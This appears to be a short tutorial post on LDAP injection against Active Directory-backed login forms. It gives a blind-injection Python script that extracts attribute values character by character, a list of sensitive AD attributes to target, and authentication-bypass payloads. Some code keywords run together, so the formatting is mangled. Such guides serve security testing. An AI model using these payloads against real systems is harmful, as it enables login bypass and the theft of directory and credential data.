LDAP injection occurs when user input is unsafely embedded into LDAP queries. Unlike SQL injection, LDAP injection is less commonly tested — but it’s prevalent in enterprise apps authenticating against Active Directory.
deftest_char(prefix, char): data = { "username": f"admin)(&(cn={prefix}{char}*", "password": "x" } r = requests.post(target, data=data) # Adjust based on success indicator return"Welcome"in r.text or r.status_code == 302
defextract_attribute(): result = "" for _ inrange(30): # max 30 chars found = False for c in charset: if test_char(result, c): result += c print(f"[+] Found: {result}") found = True break ifnot found: break return result
# Interesting attributes to extract via blind injection cn # Common Name (full name) sAMAccountName # Username (login name) mail # Email address memberOf # Group memberships userPrincipalName # UPN (user@domain) distinguishedName # Full DN path pwdLastSet # Password last set timestamp userAccountControl # Account flags (disabled, locked, etc.) description # Often contains passwords! adminCount # 1 = protected admin account servicePrincipalName # SPNs — Kerberoastable
Testing Approach
1. Identify LDAP-backed login forms orsearch fields - Enterprise apps: SharePoint, Confluence, Jenkins, custom HR systems - Usually on /login, /search, or /directory pages
2. Test authentication bypass first - Username: * Password: * - Username: admin)(& Password: anything
No comments yet. Be the first.